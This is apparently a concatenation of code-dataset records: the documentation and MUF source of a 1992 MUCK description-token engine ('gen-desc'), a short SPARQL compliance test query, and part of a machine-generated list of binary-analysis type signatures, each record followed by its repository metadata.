%yes[%sub[me,fly]] If the parameter given is either 'Yes' or 'No' for %yes[] and %no[] respectively, then it will return YES. Otherwise, it will return a blank string. These are non-case-sensitive so you may use 'yes', 'Yes', or 'YES', or even 'y'. These may be useful with %if[] where you may require that a property be set specifically to 'yes' or 'no'. %@progname[<arguments>] %#prognum[<arguments>] Example: %@$foo[bar] %#321[baz] These allow you to call programs, which must take one string parameter (whatever is given as <arguments>) and will return one string. This will then be inserted into your description like any other token would. %+<macroname>[<arguments>] Example: %+size[listname] This looks for a macro on the object, the current room, or environments thereof up to #0. A macro is set as a property named _macros/macroname so for instance, you might do this: @set #0 = _macros/size:%select[%0,%sub[me,size]] In a macro definition (which is simply inserted like another token) %0, %1, %2, and so on may be used for arguments, which are separated with commas. So %0 here refers to the first argument given, and all other arguments would be ignored. %prog#num[arg1,arg2,arg3,...] %prog$name[arg1,arg2,arg3,...] Example: %prog#321[foo,bar] %prog$baz[gum] These are like %$prog[] and %#prog[] but they split the arguments so you can call programs that need several different arguments. %char[num] Example: \\[ \\, %%token[parameter] Escaped characters such as \c (i.e. any character prefaced with \) and %% (which is translated to %) will be translated into %char[num] which should not be used directly. This allows you to substitute special characters which would otherwise be interpreted by $desc. %otell[<room,>message] Example: %otell[stares out the window at the passing fishes.] This sends a message to everyone else which can be useful if you want to simulate a randomly changing osucc or ofail. You would leave the @osucc blank and instead, use $desc to create the @osucc message. The message will be preceded by the name of the person looking. You may use this to display a message in some other room as long as the owner of the object also owns that room. Note: you cannot use %otell[] on a message that is on a player, so you cannot make %otell[] to simulate @odescs on players. Please do not abuse %otell[]. %prand[listname<,mins>] Example: %prand[fishtype] This chooses one of the elements at random, based on both the trigger's dbref (object number) and the current time, within a period. So you may have it cycle through all the objects in the number of minutes you want, and it will be like a random message that will not change if you look at it immediately. %prand[] defaults to a cycle time of 1 minute through each element in the list. %list[listname] Example: %list[desc] This prints out the first part of the description before the %list[], then prints each element of the list on its own line, then resumes printing the rest of the description. This can be useful when you want to print pictures or lists of items. Note that %list[] cannot be used as an argument so something like %sub[%list[]] will simply look for a property named "%list[]" %call[prognum<,arguments>] Example: %call[#321,foobarbaz] This prints out the first part of the description before the %call[], then calls the program, which may do whatever it wishes including printing out messages and taking input from the user. (programs that need to take input cannot be called from descriptions) It then resumes with the rest of the description. Like %list[], you may not use %call[] as an argument to another token. %nl[] This simply prints whatever comes before this and starts the rest of the description on a new line. Like %list[], you may not use %nl[] as an argument to another token. Proplocs and Property Searches: Normally a property is looked for on the trigger object, i.e. where the @description, @succ, or @fail is set. With many commands you can specify another object such as the looker or the current room. The program can normally only read properties on the looker, or anything that the owner of the trigger object owns. The program will automatically search environments for properties where appropiate. So you may set a list on a parent room and each of the rooms inside will be able to use that list. You may set a _proploc:(object number without the #) property on objects and the $desc program will look on the 'property location' given for the property asked for _after_ it checks the environment. You may even create chains of _proploc properties so that several proplocs can inherit from one. However you can only use a proploc owned by someone else if it is set _proploc_ok?:yes . q @register gen-desc-docs=desc-docs @prog gen-desc-2 1 99999 d 1 i ( gen-desc v2.0 written on May 11, 1992 All tokens matched in form %token[parameter,parameter,...] Escaped characters i.e. \[ and %% converted to %char[num] Valid tokens evaluated on first pass: %sub[<match,>property] %rand[<match,>listname] %time[<match,>listname] %date[<match,>listname] %concat[<match,>listname] %select[<match,>listname,value] %if[condition,true<,false>] %yes[<match>,property] %no[<match>,property] %me[] %here[] %@progname[<arguments>] %#prognum[<arguments>] %+macroname[<arguments>] { set a property _macros/macroname with the definition, and use %0, %1, etc. to reach the arguments } %prog#num[arg1,arg2,arg3,...] %prog$name[arg1,arg2,arg3,...] %char[num] %otell[<room,>message] { does not work on players } %prand[listname<,mins>] -- based on dbref of trigger and time to minutes, with optional number of minutes per entry to use Valid tokens evaluated after first pass: %list[listname] %call[prognum<,arguments>] %nl[] To Do: %timed[cycletime,offset,listname] pagination? ) $include $lib/lmgr $include $lib/strings $include $lib/props $include $lib/edit lvar lbracket ( count of left brackets found ) lvar search ( current place to search ) ( get-legal-prop -- if it is OK to get the property from that dbref, then do so; otherwise, return error instead ) : get-legal-prop ( d s -- s' ) over owner me @ owner dbcmp 3 pick owner trigger @ owner dbcmp 4 pick "_proploc_ok?" getpropstr .yes? or or if getpropstr else "** CAN'T READ " swap strcat " ON #" strcat intostr swap strcat " **" strcat .tell then ; public get-legal-prop ( count-char -- counts the number of the specified character in the string and returns the number of occurences) : count-char ( s c -- i ) 0 rot rot ( 0 s c ) begin over over instr dup while ( i s c pos ) rot swap strcut swap pop ( i c sr ) rot 1 + ( c sr i+1 ) swap rot ( i+1 sr c ) repeat pop pop pop ( i ) ; ( count-brackets -- updates the number of unmatched left brackets found ) : count-brackets ( s -- ) dup "[" count-char swap "]" count-char ( il ir ) - lbracket @ + lbracket ! ; ( cut-next-delimiter -- finds the first occurence of the delimiter that has no unmatched brackets on its left, and splits the string around that delimiter) : cut-next-delimiter ( s c -- sl sr ) "" rot rot ( "" s c ) 0 lbracket ! begin over over instr dup if ( sl sr c pos ) rot swap 1 - strcut 1 strcut swap pop ( sl c sm sr ) over count-brackets lbracket @ not if rot pop ( sl sm sr ) rot rot strcat swap ( sl+sm sr ) exit else swap 3 pick strcat ( sl c sr sm+c ) 4 rotate swap strcat ( c sr sl+sm+c ) swap rot ( sl+sm+c sr c ) dup "]" strcmp not if lbracket @ 1 - lbracket ! then 0 ( sl+sm+c sr c 0 ) then else pop pop strcat "" ( sl+sr "" ) exit then until pop ; ( get-next-token -- given a string with a token, tries to find a token matching the standard %token[args] form. If successful, then the token string returned will be "%token[". If no "]" exists, it will be assumed at the far right and sr will be "" ) : get-next-token ( s -- sl sr args token 1 or s 0 ) dup "%" instr dup if ( s pos ) 1 - strcut dup "[" instr dup if ( sl sr pos ) strcut "]" cut-next-delimiter ( sl token args sr ) swap rot 1 ( sl sr args token 1 ) else pop strcat 0 then else pop 0 then ; ( split-args -- given a string of arguments separated by commas, splits the arguments in such a way that each argument will contain a matched set of brackets. ) : split-args ( args -- a[1] a[2] ... a[n] n ) 1 begin swap "," cut-next-delimiter dup while ( ... n a[n] a[n+1] ) rot swap ( ... a[n] n a[n+1] ) dup if swap 1 + ( ... a[n] a[n+1] n+1 ) else swap then repeat pop swap ; public split-args ( format-print -- given a string, breaks it into a number of lines formatted to fit the given screen width ) : format-print ( s -- ) dup not if pop exit then trigger @ swap pronoun_sub "_screen_width" dup me @ swap .locate-prop dup ok? if getpropstr atoi else pop pop 78 then swap ( width str ) 1 rot 0 swap 1 1 EDITfmt_rng ( s1 s2 ... sn n ) EDITdisplay ; public format-print ( wipe-list -- deletes a list of strings on the top of the stack ) : wipe-list ( s[1] ... s[n] n -- ) begin dup while swap pop 1 - repeat pop ; public wipe-list ( select-item -- given a string, a list of matching strings, and functions, pick out the function that goes with the string, if any ) : select-item ( s a[1] f[1] a[2] f[2] ... a[n] f[n] n -- s f[n] ) dup 2 * 2 + rotate ( ... n s ) begin over while swap 1 - swap ( ... n-1 s ) 4 rotate 4 rotate ( ... n s a[n] f[n] ) rot rot over swap smatch if ( ... n f[n] s ) begin 3 pick while 4 rotate pop 4 rotate pop 3 rotate 1 - -3 rotate repeat ( 0 f[n] s ) pop swap pop exit ( f[n] ) else swap pop ( ... n s ) then repeat pop pop 0 ; lvar debug : eval-loop ( s -- s' ) dup not if exit then "" swap ( "" s ) begin get-next-token while ( sl sm sr args token ) 5 rotate 5 rotate strcat -4 rotate ( sl' sr args token ) me @ "_debug" getpropstr 1 strcut pop "y" stringcmp not if me @ trigger @ owner dbcmp me @ "W" flag? or if over over swap strcat "]" strcat debug ! then then dup "%sub\\[" "do-sub" "%rand\\[" "do-rand" "%time\\[" "do-time" "%date\\[" "do-date" "%concat\\[" "do-concat" "%select\\[" "do-select" "%if\\[" "do-if" "%yes\\[" "do-yes" "%no\\[" "do-no" "%me\\[" "do-me" "%here\\[" "do-here" "%@*\\[" "do-program" "%prog#*\\[" "do-progmultargs" "%prog$*\\[" "do-progmultargs" "%\\+*\\[" "do-macro" "%char\\[" "do-char" "%otell\\[" "do-otell" "%prand\\[" "do-prand" 18 select-item ( sl' sr args token f ) dup if "$desc-lib" match swap call ( sl' sr result ) eval-loop me @ "_debug" getpropstr 1 strcut pop "y" stringcmp not if me @ trigger @ owner dbcmp me @ "W" flag? or if debug @ " = " strcat over strcat .tell then then else pop swap strcat "]" strcat ( sl' sr token+args ) 1 strcut rot ( sl' "%" rest sr ) strcat swap ( sl' sr' "%" ) then rot swap strcat swap ( sl'+result sr ) repeat strcat ( s' ) ; public eval-loop : second-pass ( s -- s' ) dup not if exit then "" swap ( "" s ) begin get-next-token while ( sl sm sr args token ) 5 rotate 5 rotate swap strcat -4 rotate ( sl' sr args token ) dup "%list\\[" "do-list" "%call\\[" "do-call" "%nl\\[" "do-newline" 3 select-item ( sl' sr args token f ) dup if "$desc-lib" match swap call ( sl' sr result ) eval-loop else pop swap strcat "]" strcat ( sl' sr token+args ) 1 strcut rot ( sl' "%" rest sr ) strcat swap ( sl' sr' "%" ) then rot swap strcat swap ( sl'+result sr ) repeat strcat ( s' ) ; ( escape-chars -- convert all occurences of %% to %char[num] and occurences of \char to %char[num] so that they can be handled without errors or mixing with normal parameters. ) : escape-chars ( s -- s' ) "%char[" "%" .asc intostr strcat "]" strcat ( s "%char[num]" ) "%%" subst ( s1 ) begin dup "\\" instr dup while ( s1 pos ) 1 - strcut 1 strcut swap pop 1 strcut ( sl c sr ) swap .asc intostr ( sl sr num ) "%char[" swap strcat "]" strcat ( sl sr "%char[num]" ) swap strcat strcat ( s' ) repeat pop ; : gen-desc ( s -- ) escape-chars eval-loop second-pass dup if format-print else pop then ; public gen-desc $pubdef .eval-loop "$desc" match "eval-loop" call $pubdef .format-print "$desc" match "format-print" call $pubdef .gen-desc "$desc" match "gen-desc" call $pubdef .get-legal-prop "$desc" match "get-legal-prop" call $pubdef .split-args "$desc" match "split-args" call $pubdef .wipe-list "$desc" match "wipe-list" call . c q @register gen-desc-2=desc @set $desc=W @set $desc=L @set $desc=/_/de:@$desc %list[doc] @set $desc=/_docs:@list $desc-docs @prog gen-desc-lib 1 99999 d 1 i ( gen-desc library v2.0 written on May 11, 1992 Contains all the tokens and macro subroutines which are implemented in $desc. ) $include $lib/lmgr $include $lib/props $include $lib/strings $include $desc : do-sub1 ( name obj -- value ) dup ok? if swap .get-legal-prop ( ... value ) else pop pop "" then ; : do-sub ( s[left] s[right] args token -- s[left] s[right] result ) pop .split-args ( ... args n ) dup 1 = if pop .eval-loop ( ... name ) dup trigger @ swap .locate-prop ( ... name obj ) do-sub1 else dup 2 = if pop .eval-loop swap .eval-loop ( ... name source ) match over .locate-prop ( ... name obj ) do-sub1 else .wipe-list "** TOO MANY ARGUMENTS FOR %SUB **" then then ; public do-sub : do-rand1 ( list obj -- result ) dup ok? if over over .lmgr-getcount ( list obj num ) random 1003 / swap % 1 + -3 rotate ( pos list obj ) .lmgr-getelem ( result ) else pop pop "" then ; : do-rand ( s[left] s[right] args token -- s[left] s[right] result ) pop .split-args dup 1 = if pop .eval-loop ( list ) dup "#" strcat trigger @ swap .locate-prop ( list obj ) do-rand1 else 2 = if .eval-loop swap .eval-loop ( list name ) match swap dup "#" strcat ( obj list list# ) rot swap .locate-prop ( list obj' ) do-rand1 else .wipe-list "** TOO MANY ARGUMENTS FOR %RAND **" then then ; public do-rand : do-time1 dup ok? if over over .lmgr-getcount ( list obj cnt ) systime 14400 - 86400 % * 86400 / ( list obj pos ) -3 rotate .lmgr-getelem ( result ) else pop pop "" then ; : do-time ( s[left] s[right] args token -- s[left] s[right] result ) pop .split-args dup 1 = if pop .eval-loop ( list ) dup "#" strcat trigger @ swap .locate-prop ( list obj ) do-time1 else 2 = if .eval-loop swap .eval-loop ( list name ) match swap dup "#" strcat ( obj list list# ) rot swap .locate-prop ( list obj' ) do-time1 else .wipe-list "** TOO MANY ARGUMENTS FOR %TIME **" then then ; public do-time : do-date1 dup ok? if over over .lmgr-getcount ( list obj cnt ) systime 14400 - 86400 / 365 % * 365 / 1 + ( list obj pos ) -3 rotate .lmgr-getelem ( result ) else pop pop "" then ; : do-date ( s[left] s[right] args token -- s[left] s[right] result ) pop .split-args dup 1 = if pop .eval-loop ( list ) dup "#" strcat trigger @ swap .locate-prop ( list obj ) do-date1 else 2 = if .eval-loop swap .eval-loop ( list name ) match swap dup "#" strcat ( obj list list# ) rot swap .locate-prop ( list obj' ) do-date1 else .wipe-list "** TOO MANY ARGUMENTS FOR %DATE **" then then ; public do-date : do-concat1 ( list obj -- result ) dup ok? if .lmgr-fullrange .lmgr-getrange ( s1 ... sn n ) begin dup 1 > while rot rot strcat swap 1 - ( s1 ... sn-1 n-1 ) repeat pop else pop pop "" then ; : do-concat ( s[left] s[right] args token -- s[left] s[right] result ) pop .split-args dup 1 = if pop .eval-loop ( list ) dup "#" strcat trigger @ swap .locate-prop ( list obj ) do-concat1 else 2 = if .eval-loop swap .eval-loop ( list name ) match swap dup "#" strcat ( obj list list# ) rot swap .locate-prop ( list obj' ) do-concat1 else .wipe-list "** TOO MANY ARGUMENTS FOR %CONCAT **" then then ; public do-concat : do-select1 ( pos list obj -- result ) dup ok? if rot atoi -3 rotate ( pos list obj ) 0 -4 rotate "" -5 rotate ( lst idx pos list obj ) begin 4 pick 4 pick < 6 pick not if 5 pick 5 pick 100 + < else 0 then or while 4 rotate 1 + -4 rotate ( lst idx+1 pos list obj ) 4 pick 3 pick 3 pick .lmgr-getelem dup if ( lst idx+1 pos list obj x ) 6 rotate pop ( idx+1 pos list obj x ) -5 rotate ( x idx+1 pos list obj ) else pop then repeat pop pop pop pop else pop pop "" then ; : do-select ( s[left] s[right] args token -- s[left] s[right] result ) pop .split-args dup 1 = if pop pop "** TOO FEW ARGUMENTS FOR %SELECT **" else dup 2 = if pop .eval-loop swap .eval-loop ( pos list ) dup "#" strcat trigger @ swap .locate-prop ( pos list obj ) do-select1 else 3 = if .eval-loop swap .eval-loop rot .eval-loop ( pos list name ) match swap dup "#" strcat ( pos obj list list# ) rot swap .locate-prop ( pos list obj' ) do-select1 else .wipe-list "** TOO MANY ARGUMENTS FOR %SELECT **" then then then ; public do-select : do-if ( s[left] s[right] args token -- s[left] s[right] result ) pop .split-args dup 1 = if pop pop "** TOO FEW ARGUMENTS FOR %IF **" else dup 2 = if pop swap .eval-loop ( true cond ) .no? if ( true ) pop "" then .eval-loop else dup 3 = if pop rot .eval-loop ( true false cond ) .no? if ( true false ) swap pop else pop then .eval-loop else .wipe-list "** TOO MANY ARGUMENTS FOR %IF **" then then then ; public do-if : do-yes ( s[left] s[right] args token -- s[left] s[right] result ) pop .split-args 1 = if .eval-loop .yes? if "YES" else "" then else .wipe-list "** TOO MANY ARGUMENT FOR %YES**" then ; public do-yes : do-no ( s[left] s[right] args token -- s[left] s[right] result ) pop .split-args 1 = if .eval-loop .no? if "YES" else "" then else .wipe-list "** TOO MANY ARGUMENT FOR %NO **" then ; public do-no : do-me ( s[left] s[right] args token -- s[left] s[right] result ) pop .split-args 1 = if pop me @ intostr "#" swap strcat else .wipe-list "** TOO MANY ARGUMENT FOR %ME **" then ; public do-me : do-here ( s[left] s[right] args token -- s[left] s[right] result ) pop .split-args 1 = if pop loc @ intostr "#" swap strcat else .wipe-list "** TOO MANY ARGUMENT FOR %HERE **" then ; public do-here lvar mme lvar mloc lvar mtrig lvar mdepth : do-program ( s[left] s[right] args token -- s[left] s[right] result ) me @ mme ! loc @ mloc ! trigger @ mtrig ! depth mdepth ! swap .eval-loop swap ( ... args token ) dup strlen 1 - strcut pop 2 strcut swap pop 1 strcut over "$" strcmp if strcat "#" swap then strcat match dup ok? not if pop pop "** NO SUCH OBJECT IN %PROG **" exit then dup program? not if pop pop "** OBJECT NOT A PROGRAM IN %PROG **" exit then call mme @ me ! mloc @ loc ! mtrig @ trigger ! depth mdepth @ - 2 + ( ... results i ) dup 1 = if pop dup int? if intostr then .eval-loop else dup 0 = if pop "" else dup 0 < if pop "" "" "** STACK UNDERFLOW IN %PROG **" else .wipe-list "** TOO MANY ARGUMENTS RETURNED IN %PROG **" then then then ; public do-program : do-progmultargs ( s[left] s[right] args token -- s[left] s[right] result ) me @ mme ! loc @ mloc ! trigger @ mtrig ! depth mdepth ! 5 strcut dup strlen 1 - strcut pop swap pop match dup ok? not if pop pop "** NO SUCH OBJECT IN %PROG **" exit then dup program? not if pop pop "** OBJECT NOT A PROGRAM IN %PROG **" exit then ( ... args dbref ) swap .split-args dup ( ... dbref a1-an n n ) begin dup while dup 2 + rotate .eval-loop over 2 + 0 swap - rotate 1 - repeat pop 1 + rotate ( ... a1'-an' n dbref) call mme @ me ! mloc @ loc ! mtrig @ trigger ! depth mdepth @ - 2 + ( ... results i ) dup 1 = if pop dup int? if intostr then .eval-loop else dup 0 = if pop "" else dup 0 < if pop "" "" "** STACK UNDERFLOW IN %PROG **" else .wipe-list "** TOO MANY ARGUMENTS RETURNED IN %PROG **" then then then ; public do-progmultargs : do-char ( s[left] s[right] args token -- s[left] s[right] result ) pop .split-args 1 = if .eval-loop atoi .chr else .wipe-list "** TOO MANY ARGUMENTS FOR %CHAR **" then ; public do-char ( do-list -- prints out whatever was before the list, then prints each item of the list on its own line, then resumes with the rest ) : do-list1 ( s[left] s[right] list obj -- "" s[right] "" ) dup ok? not if pop pop "" exit then 4 rotate .format-print "" -4 rotate ( "" sr list obj ) .lmgr-fullrange .lmgr-getrange ( "" sr s1 ... sn n ) begin dup while dup 1 + rotate ( "" sr s2...sn n s1 ) .gen-desc ( "" sr s2...sn n ) 1 - ( "" sr s2...sn n-1 ) repeat pop "" ; : do-list ( s[left] s[right] args token -- s[left] s[right] result ) pop .split-args dup 1 = if pop .eval-loop ( list ) dup "#" strcat trigger @ swap .locate-prop ( list obj ) do-list1 else 2 = if .eval-loop swap .eval-loop ( list name ) match swap dup "#" strcat ( obj list list# ) rot swap .locate-prop ( list obj' ) do-list1 else .wipe-list "** TOO MANY ARGUMENTS FOR %LIST **" then then ; public do-list ( do-call -- prints out whatever was before the list, then calls the program given, with whatever arguments were used. Only one argument is permitted. The rest of the description is then printed after the program's output. ) : do-call1 ( s[left] s[right] prognum args -- "" s[right] "" ) over ok? not if pop pop "** NO SUCH OBJECT IN %CALL **" exit then over program? not if pop pop "** OBJECT NOT A PROGRAM IN %CALL **" exit then 4 rotate .format-print "" -4 rotate ( "" sr prognum args ) me @ mme ! loc @ mloc ! trigger @ mtrig ! depth mdepth ! swap call mme @ me ! mloc @ loc ! mtrig @ trigger ! depth mdepth @ - 2 + ( ... results i ) dup 0 = if pop "" else dup 0 < if pop "" "" "** STACK UNDERFLOW IN %CALL **" else .wipe-list (we throw any returned results on the floor) then then ; : do-call ( s[left] s[right] args token -- s[left] s[right] result ) pop .split-args dup 1 = if pop .eval-loop match "" ( prognum "" ) do-call1 else dup 1 > if begin dup 2 > while ( ...args a1 a2 n ) rot rot "," swap strcat strcat ( ...args n a1,a2 ) swap 1 - ( ... args a1,a2 n-1 ) repeat ( name arg 2 ) pop swap .eval-loop match swap .eval-loop ( prognum arg ) do-call1 else pop "** MUST SUPPLY PROGRAM NUMBER FOR %CALL **" then then ; public do-call : do-macro ( s[left] s[right] args token -- s[left] s[right] result ) 2 strcut dup strlen 1 - strcut pop swap pop "_macros/" swap strcat ( ... args name ) dup trigger @ swap .locate-prop ( ... args name' obj ) dup ok? not if pop swap pop 8 strcut swap pop "** " swap strcat " NOT FOUND IN %MACRO **" strcat exit ( ... error ) then swap getpropstr ( ... args def ) swap .split-args dup 2 + rotate ( ... a1-an n def ) begin over while over intostr "%" swap strcat ( ... a1-an n def %n ) rot 1 - -3 rotate ( ... a1-an n-1 def %n ) 4 rotate swap subst ( ... a1-an-1 n-1 def' ) repeat swap pop .eval-loop ( ... def' ) ; public do-macro : do-otell ( s[left] s[right] args token -- s[left] s[right] result ) trigger @ player? if pop pop "** CANNOT USE %OTELL ON PLAYERS **" exit then pop .split-args dup 1 = if pop .eval-loop me @ name " " strcat swap strcat .otell "" else 2 = if .eval-loop swap .eval-loop match ( ... msg db ) dup ok? not if pop pop "** TRIED TO %OTELL TO INVALID ROOM **" exit then dup room? not if pop pop "** TRIED TO %OTELL TO INVALID ROOM **" exit then dup owner trigger @ owner dbcmp not if pop pop "** TRIED TO %OTELL TO FOREIGN ROOM **" exit then swap #-1 swap me @ name " " strcat swap strcat notify_except "" else .wipe-list "** TOO MANY ARGUMENTS FOR %OTELL **" then then ; public do-otell : do-newline ( s[left] s[right] args token -- s[left] s[right] result ) pop pop ( s[left] s[right] ) swap dup not if pop " " then ( s[right] s[left] ) .format-print ( s[right] ) "" swap ( "" s[right] ) "" ( "" s[right] "" ) ; public do-newline : do-prand1 ( dividend list obj -- result ) dup ok? if over over .lmgr-getcount ( dividend list obj num ) trigger @ int 10003 * 29 / systime 60 / + 5 rotate / ( list obj num rand ) swap % 1 + -3 rotate ( pos list obj ) .lmgr-getelem ( result ) else pop pop "" then ; : do-prand ( s[left] s[right] args token -- s[left] s[right] result ) pop .split-args dup 1 = if pop .eval-loop ( list ) dup "#" strcat trigger @ swap .locate-prop ( list obj ) 1 -3 rotate ( dividend list obj ) do-prand1 else 2 = if .eval-loop atoi swap ( dividend list ) dup "#" strcat trigger @ swap .locate-prop ( dividend list obj ) do-prand1 else .wipe-list "** TOO MANY ARGUMENTS FOR %PRAND **" then then ; public do-prand . c q @register gen-desc-lib=desc-lib @set $desc-lib=L @set $desc-lib=2
MUF
5
seanmcelroy/moo
moo.console/scripts/gen-desc.muf
[ "MIT" ]
prefix ex: <http://www.example.org/schema#> prefix in: <http://www.example.org/instance#> select ?x (datatype(?l) as ?dt) where { ?x ex:p ?y . optional {?x ex:q ?l} }
SPARQL
3
alpano-unibz/ontop
test/sparql-compliance/src/test/resources/testcases-dawg-sparql-1.1/project-expression/projexp07.rq
[ "Apache-2.0" ]
0 reg32_t "dword" 1 ptr(struct(0:num32_t,4:ptr(TOP),8:ptr(TOP))) "_SCOPETABLE_ENTRY*" 2 uint32_t "UINT" 3 code_t "proc*" 4 ptr(TOP) "LPVOID" 5 union(code_t,ptr(num32_t)) "Union_0" 4 ptr(TOP) "void*" 2 uint32_t "size_t" 6 ptr(array(reg8_t,19)) "unknown_152*" 7 ptr(array(reg8_t,24)) "unknown_192*" 8 ptr(reg64_t) "qword*" 9 ptr(code_t) "proc**" 10 ptr(array(reg8_t,6)) "unknown_48*" 11 num8_t "char" 12 array(reg8_t,3) "unknown_24" 13 ptr(reg32_t) "dword*" 14 ptr(ptr(TOP)) "void**" 3 code_t "(void -> int)*" 15 ptr(struct(0:reg32_t,4:reg32_t)) "_FILETIME*" 16 ptr(union(num64_t,struct(0:reg32_t,4:num32_t))) "Union_1*" 17 num32_t "int" 18 ptr(num8_t) "char*" 19 ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))) "FILE*" 3 code_t "(void -> void)*" 2 uint32_t "unsigned int" 18 ptr(num8_t) "char[]" 20 union(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t)),ptr(num8_t),ptr(reg32_t),struct(0:ptr(TOP)),struct(16:reg32_t,28:ptr(struct(0:ptr(TOP))),64:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),68:ptr(TOP),72:ptr(TOP),96:num32_t,108:reg32_t)) "Union_22" 21 ptr(struct(0:array(reg8_t,28),28:reg32_t)) "StructFrag_6*" 13 ptr(reg32_t) "dword[]" 22 ptr(struct(0:ptr(struct(8:reg32_t,24:ptr(num8_t),28:ptr(TOP),32:code_t,36:ptr(array(reg8_t,14)))),48:reg32_t,132:reg32_t,136:reg32_t)) "Struct_10*" 23 ptr(struct(0:array(reg8_t,28),28:ptr(reg32_t))) "StructFrag_3*" 24 ptr(struct(28:ptr(TOP),36:code_t)) "Struct_8*" 25 union(struct(0:ptr(struct(8:reg32_t,24:ptr(num8_t),28:ptr(array(reg8_t,140)),32:code_t,36:ptr(array(reg8_t,14)))),48:reg32_t,132:reg32_t,136:reg32_t),struct(0:union(ptr(struct(28:reg32_t,36:code_t,64:ptr(struct(0:ptr(reg8_t),4:num32_t,8:ptr(reg8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(reg8_t))),68:ptr(TOP),72:ptr(TOP),80:ptr(TOP),84:ptr(TOP))),ptr(struct(8:reg32_t,28:ptr(reg32_t),32:ptr(array(reg8_t,32)),36:ptr(array(reg8_t,14))))),8:reg32_t,12:reg32_t,16:reg32_t,36:num8_t,44:reg32_t,48:struct(0:ptr(struct(8:reg32_t,24:ptr(num8_t),28:ptr(array(reg8_t,140)),32:code_t,36:ptr(array(reg8_t,14)))),48:reg32_t,132:reg32_t,136:reg32_t),108:reg32_t,132:struct(0:ptr(struct(8:reg32_t,24:ptr(num8_t),28:ptr(array(reg8_t,140)),32:code_t,36:ptr(array(reg8_t,14)))),48:reg32_t,132:reg32_t,136:reg32_t),1172:reg16_t,2840:ptr(TOP),2848:ptr(ptr(TOP)),2852:reg32_t,2860:ptr(ptr(TOP)),2864:reg32_t,2872:ptr(array(reg8_t,20)))) "Union_19" 26 ptr(struct(24:ptr(num8_t),28:array(reg8_t,3),31:num8_t,32:reg32_t,36:array(reg8_t,3),39:num8_t,40:array(reg8_t,3),43:num8_t)) "Struct_140*" 27 union(ptr(struct(0:ptr(TOP))),ptr(struct(0:array(reg8_t,28),28:ptr(struct(0:ptr(TOP))))),ptr(struct(24:ptr(num8_t),28:ptr(ptr(struct(0:array(reg8_t,28),28:ptr(TOP))))))) "Union_2" 28 ptr(struct(0:array(reg8_t,28),28:ptr(reg16_t))) "StructFrag_7*" 29 ptr(struct(8:reg32_t,28:ptr(struct(8:reg32_t,16:reg32_t,44:reg32_t,60:reg32_t,1172:reg16_t,2840:ptr(TOP),2848:ptr(ptr(TOP)),2852:reg32_t,2860:ptr(ptr(TOP)),2864:reg32_t,2872:ptr(array(reg8_t,20)))))) "Struct_174*" 30 ptr(struct()) "Struct_22*" 31 union(ptr(reg32_t),ptr(struct(0:ptr(struct(8:reg32_t,24:ptr(num8_t),28:ptr(TOP),32:code_t,36:ptr(array(reg8_t,14)))),48:reg32_t,132:reg32_t,136:reg32_t))) "Union_14" 32 ptr(struct(56:reg32_t,64:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))))) "Struct_89*" 33 ptr(struct(28:reg32_t,36:code_t,64:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),68:ptr(TOP),72:ptr(TOP),80:ptr(TOP),84:ptr(TOP))) "Struct_91*" 34 ptr(struct(24:reg32_t,56:reg32_t,80:ptr(num8_t))) "Struct_94*" 35 ptr(ptr(num8_t)) "char[]*" 36 ptr(struct(0:reg32_t,4:uint32_t,12:reg32_t,16:uint32_t,24:ptr(num8_t),28:ptr(TOP),64:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),68:ptr(TOP),104:reg32_t,108:reg32_t)) "Struct_110*" 37 union(ptr(num8_t),ptr(ptr(struct()))) "Union_20" 38 ptr(struct(0:reg32_t,4:uint32_t,12:ptr(TOP),16:uint32_t,24:ptr(num8_t),28:ptr(TOP),64:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),68:ptr(TOP),104:reg32_t,108:reg32_t)) "Struct_114*" 39 reg16_t "word" 40 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(num8_t),uint32_t,ptr(struct(0:ptr(TOP))),ptr(struct(28:ptr(struct(0:ptr(TOP))),64:reg32_t,72:reg32_t)),ptr(ptr(struct(28:ptr(struct(0:ptr(TOP))),64:reg32_t,72:reg32_t)))) "Union_4" 41 union(ptr(num8_t),ptr(reg32_t)) "Union_21" 42 ptr(struct(12:reg32_t,16:reg32_t,24:ptr(num8_t),28:ptr(TOP))) "Struct_104*" 43 ptr(struct(0:struct(0:reg32_t,76:reg32_t,80:reg32_t,108:reg32_t),108:reg32_t)) "Struct_182*" 44 union(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t)),struct(0:ptr(TOP)),struct(16:reg32_t,28:ptr(struct(0:ptr(TOP))),64:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),68:ptr(TOP),72:ptr(TOP),96:num32_t,108:reg32_t)) "Union_9" 45 